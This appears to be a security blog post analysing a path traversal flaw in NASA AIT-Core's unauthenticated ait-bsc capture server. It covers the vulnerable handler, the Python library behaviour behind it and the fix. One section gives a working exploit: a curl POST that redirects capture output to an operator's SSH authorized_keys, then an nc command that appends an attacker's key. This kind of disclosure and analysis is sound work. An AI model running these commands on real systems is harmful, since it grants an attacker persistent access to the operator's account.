//nefariousplan

CVE-2026-47731: NASA AIT-Core's BSC Handler Treated The Docstring As The Allowlist.

vendor

patterns

cve

proof of concept

NASA's AIT-Core ships a Binary Stream Capture module called ait-bsc. The module's HTTP server has no authentication. The handler that registers a new capture is described in its own docstring as taking three parameters, loc, port, and conn_type. The handler's code reads dict(request.forms), pops those three by name, and forwards the rest into add_logger as **data.

CVE-2026-47731 is the path traversal that exists because Python's keyword-argument resolution made the gap between a docstring and a **data splat invisible for ten years.

The handler's docstring lists three parameters

CVE-2026-47731 lives in ait/core/bsc.py. StreamCaptureManagerServer is a Bottle subclass; its _route method wires POST /<name>/start to _add_logger_by_name. The handler, in the pre-patch tree at line 739, reads:

def _add_logger_by_name(self, name):
    """Handles POST requests for adding a new logger.

    Expects logger configuration to be passed in the request's query string.
    The logger name is included in the URL and the address components and
    connection type should be included as well. The loc attribute is
    defaulted to "localhost" when making the socket connection if not
    defined.

    loc = IP / interface
    port = port / protocol
    conn_type = udp or ethernet

    Raises:
        ValueError:
            if the port or connection type are not supplied.
    """
    data = dict(request.forms)
    loc = data.pop("loc", "")
    port = data.pop("port", None)
    conn_type = data.pop("conn_type", None)

    if not port or not conn_type:
        e = "Port and/or conn_type not set"
        raise ValueError(e)
    address = [loc, int(port)]

    if "rotate_log" in data:
        data["rotate_log"] = True if data == "true" else False

    if "rotate_log_delta" in data:
        data["rotate_log_delta"] = int(data["rotate_log_delta"])

    self._logger_manager.add_logger(name, address, conn_type, **data)

The docstring describes three parameters. The code pops three keys by name. The remaining form fields are everything else the attacker wanted to send. They survive in data, and data is forwarded into add_logger by **-splat.

There is no parameter list. There is a docstring, three .pop() calls, and a splat.

The function it forwards into has a fourth named parameter

add_logger in the same file:

def add_logger(self, name, address, conn_type, log_dir_path=None, **kwargs):
    capture_handler_conf = kwargs

    if not log_dir_path:
        log_dir_path = self._mngr_conf["root_log_directory"]

    log_dir_path = os.path.normpath(os.path.expanduser(log_dir_path))

    capture_handler_conf["log_dir"] = log_dir_path
    capture_handler_conf["name"] = name
    ...

When Python resolves the REST handler's add_logger(name, address, conn_type, **data) against this signature, any log_dir_path key in data binds to the keyword parameter. The other keys flow into **kwargs and from there into capture_handler_conf.

The REST layer never named log_dir_path. The function it calls did. Python's keyword-argument resolution closed the loop. From outside the file, the field is invisible: it does not appear in the route's docstring, in the route's pop list, in the route's validation. From inside the file, it is a documented parameter on add_logger with a documented default. The two views of the same function are inconsistent, and the inconsistency was never reconciled because nothing forced the reconciliation. Bottle gives you request.forms. dict() of request.forms gives you every field. **data forwards every field. The keyword parameter on the receiving function picks the dangerous one out of the stream by name.

path and file_name_pattern are not parameters on any signature in this codepath. They land in **kwargs and are written into capture_handler_conf. They reach _get_log_file as data.

Join Is Not Sandbox: the os.path.join instance

_get_log_file composes the destination path:

def _get_log_file(self, handler):
    if "file_name_pattern" not in handler:
        filename = "%Y-%m-%d-%H-%M-%S-{name}.pcap"
    else:
        filename = handler["file_name_pattern"]

    log_file = handler["log_dir"]
    if "path" in handler:
        log_file = os.path.join(log_file, handler["path"], filename)
    else:
        log_file = os.path.join(log_file, filename)

    log_file = time.strftime(log_file, time.gmtime())
    log_file = log_file.format(**handler)

    return log_file

Python's os.path.join documentation states: "If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component." With path=/etc/cron.d, the configured log_dir is discarded and the result is /etc/cron.d/<filename>. The function's name reads as composition. The standard library defined it as overwrite-on-absolute. This is the Join Is Not Sandbox shape on the Python side: a standard-library path helper composed with a base directory and a caller-supplied segment, treated as a sandbox primitive, with no post-join verification. The Go variant of this pattern uses filepath.Join and the ..-clean behavior; the Python variant here uses os.path.join and the absolute-path overwrite. The mistake is the same.

The log_dir_path route is even shorter. add_logger runs os.path.normpath(os.path.expanduser(log_dir_path)) and writes the result into handler["log_dir"]. normpath collapses .. segments against the current string, it does not anchor them against a base. /tmp/../etc/passwd normalizes to /etc/passwd. The function ran as the documentation defined it.

The result is then handed to pcap.open(log_file, mode="a"). PCapStream's constructor writes the pcap global header when the file is new, and skips it when the file already has bytes. Either way, every UDP datagram the capture socket receives is appended as a pcap packet record: sixteen bytes of attacker-influenced packet header followed by the attacker-supplied payload, flushed to disk on every packet.

The primitive on the wire

The full exploit chain against a default ait-bsc install, no authentication required:

curl -X POST http://target:8080/evil/start \
  -d 'loc=' \
  -d 'port=9999' \
  -d 'conn_type=udp' \
  -d 'log_dir_path=/home/operator/.ssh' \
  -d 'file_name_pattern=authorized_keys'

Server-side: dict(request.forms) captures all five form fields. .pop() removes the three documented. log_dir_path and file_name_pattern survive in data. add_logger(name, address, conn_type, **data) resolves log_dir_path against the keyword parameter and routes it through normpath. The remaining file_name_pattern lands in capture_handler_conf. _get_logger calls pcap.open("/home/operator/.ssh/authorized_keys", mode="a"). The handler is now bound to UDP port 9999.

echo -e '\nssh-rsa AAAAB3NzaC1yc2EA... attacker@key\n' | nc -u target 9999

The capture socket receives the UDP packet. pcap.PCapStream.write appends a sixteen-byte packet record header followed by the payload bytes to authorized_keys. OpenSSH's authorized_keys parser skips lines it does not recognize and accepts lines that match a public-key grammar. The garbage record header bytes form one or more skipped lines. The attacker-controlled payload, framed between newlines, forms a parseable key line.

The GHSA also describes a browser-based variant. A page running in the operator's browser POSTs the same form-encoded body to http://localhost:8080/evil/start. Bottle, by default, binds to localhost; ait-bsc's default config does the same. The browser opens the connection from the operator's machine. The server accepts it because there is no authentication.

The ait-bsc process runs as the operator. The files reachable from it are the operator's files: dotfiles, SSH key material, shell init scripts, any user-writable cron drop, any file the operator's umask allowed. The advisory describes the same primitive against arbitrary filesystem paths the BSC process can write. The append-mode pcap.open is the primitive. The form-encoded POST is the trigger.

The patch writes the function signature the docstring already implied

The fix for CVE-2026-47731 landed on May 19, 2026, in commit 0261b70. The first new statement in _add_logger_by_name, immediately after the three documented .pop() calls, is the rejection:

# Do not allow log_dir_path override from unauthenticated REST API
# to prevent path traversal attacks. log_dir_path can only be set via
# configuration file.
if "log_dir_path" in data:
    raise ValueError(
        "log_dir_path parameter is not allowed via REST API. "
        "Configure log directories in the bsc.yaml configuration file instead."
    )

# Validate path parameter to prevent directory traversal
if "path" in data:
    data["path"] = data["path"].lstrip(os.sep)
    if ".." in data["path"]:
        raise ValueError("path parameter cannot contain '..'")

The first clause is the project's own statement, in code, that log_dir_path was never supposed to be an API parameter. The docstring listed three; this commit is the one that enforces three. The second clause does what the docstring's silence on the path field always implied: leading separators stripped, .. rejected.

_get_log_file gets the post-canonicalize prefix check that os.path.join was not:

log_file_real = os.path.realpath(log_file)
root_real = os.path.realpath(root)
if not (
    log_file_real == root_real
    or log_file_real.startswith(root_real + os.sep)
):
    raise ValueError(
        "Invalid log file path; must remain under root_log_directory. "
        f"Attempted path: {log_file}"
    )

os.path.realpath resolves symlinks and .. segments against the filesystem. startswith(root_real + os.sep) is the actual sandbox check. Neither call was in the pre-patch function. The fix is the function the standard library never supplied and the developer assumed was implicit in os.path.join.

The last line of the patched _add_logger_by_name is unchanged:

self._logger_manager.add_logger(name, address, conn_type, **data)

The splat is still there. The data dict is narrower by exactly the two raise ValueError clauses that now sit above the splat. The fix is not at the call site. The fix is the parameter list the docstring described and the code did not enforce. This is the canonical Wide Default, Narrow Doc shape, with the doc-vs-default gap held open by **data and **kwargs on either side of the boundary rather than by an HTTP header copy.

The handler was committed on April 5, 2016

git log --all --follow --reverse ait/core/bsc.py traces the file back through the May 2018 rename from bliss/core/bsc.py. The earliest commit touching it is:

0550eaf  2016-04-05  Initial import

The pre-patch shape of _add_logger_by_name is present in that commit verbatim. dict(request.forms), three .pop() calls, **data into add_logger. The signature on add_logger in the same initial commit names log_dir_path as a keyword parameter with a default of None. The keyword-argument routing from form field to file-open argument has been the codepath since the file existed.

The fix commit is dated May 19, 2026. The repository advertises itself as the Advanced Multi-Mission Operations System Instrument Toolkit, used to operate NASA spacecraft missions. The vulnerable codepath was added by JPL on April 5, 2016 and patched by JPL on May 19, 2026. The intervening interval is ten years and six weeks. The fix is twelve lines.

What gets accepted by default is what gets shipped

The Errors middleware in Traefik forwards every inbound HTTP header to the configured error-page service because utils.CopyHeaders is the unconditional copy that sits between the inbound request and the outbound call. Traefik's reference documentation enumerates the one header the project has a knob for. The other headers are absent from the documentation because no knob exists, not because they are absent from the wire. nefariousplan named that shape Wide Default, Narrow Doc.

AIT-Core's BSC handler is the same shape, ported into Python. dict(request.forms) is the inbound structure. **data is the unconditional copy. add_logger(name, address, conn_type, log_dir_path=None, **kwargs) is the call site whose signature catches everything. The docstring on _add_logger_by_name is the narrow doc, and it lists three parameters. The wide default is whatever the form encodes. The patch does not delete the splat. It writes the rejection clauses above the splat that the docstring always implied.

The interface the JPL committers documented in 2016 was the correct interface. The interface the JPL committers shipped in 2016 was the wider one Python's keyword-argument resolution composed for them. Both interfaces have been public on pypi.org/project/ait-core for ten years. Pick one, and the other is the bug.

PoC: GHSA-p462-prxw-mjx4. Fix commit: 0261b70.

The docstring was the allowlist. The patch is what finally lets the code mean it.